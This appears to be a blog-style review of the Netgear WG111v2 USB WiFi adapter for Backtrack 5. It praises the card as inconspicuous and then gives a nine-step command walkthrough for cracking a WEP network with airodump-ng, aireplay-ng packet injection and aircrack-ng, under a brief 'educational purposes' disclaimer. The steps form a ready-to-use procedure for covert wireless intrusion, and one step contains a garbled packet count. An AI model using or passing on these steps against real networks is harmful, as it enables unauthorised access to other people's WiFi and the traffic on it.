Netgear Wg111v2 USB WiFi Card works very well with Backtrack 5 and is also convenient since it is small and not suspicious (It could pass as a USB flash card).
It also works very well with Linux and all other operating systems such as Windows XP or Windows 7(I have heard of people having problems with windows 7 but I have not had any problems. I use the 32 bit version of win 7).
I would recommend this card for anyone who wants to sacrifice range for a non-suspicious card that works with Backtrack.
This adapter will grant wireless capability to any PC, whether it’s your Desktop, or Laptop. It also doesn’t heat up as much as some of the other USB Wi-Fi Cards I have seen. The only real down side to this card is the range other than that for some one on a campus or with close proximity to Wi-Fi connections it is a good alternative for a wireless connectivity and Backtrack support.
Step 1: Open Konsol and type in “airodump-ng wlan0”
Step 2: Now open up a new Konsol window
Step 3: Type in “airodump-ng -w wep -c (Channel) –bssid (BSSID) wlan0
Step 4: Open up a new Konsol Window
Step 5: Type in “aireplay-ng -1 0 -a (BSSID) wlan0
Step 6: Open up another Konsol windows
Step 7: Type in “aireplay-ng -3 -b (BSSID) wlan0
Step 8: Wait for #data to reach at least 30,00
Step 9: After that, press Control + C, and the type in
“Dir” then “aircrack-ng wep-01.cap”
Disclaimer: All information on this site is for testing and educational purposes only; for use by network security administrators or testing the security of your own wireless connection.
I use the Netgear WG111v2 and love it. To all out there just be sure to order the WG111 v2 and not the Netgear WG111 V1.
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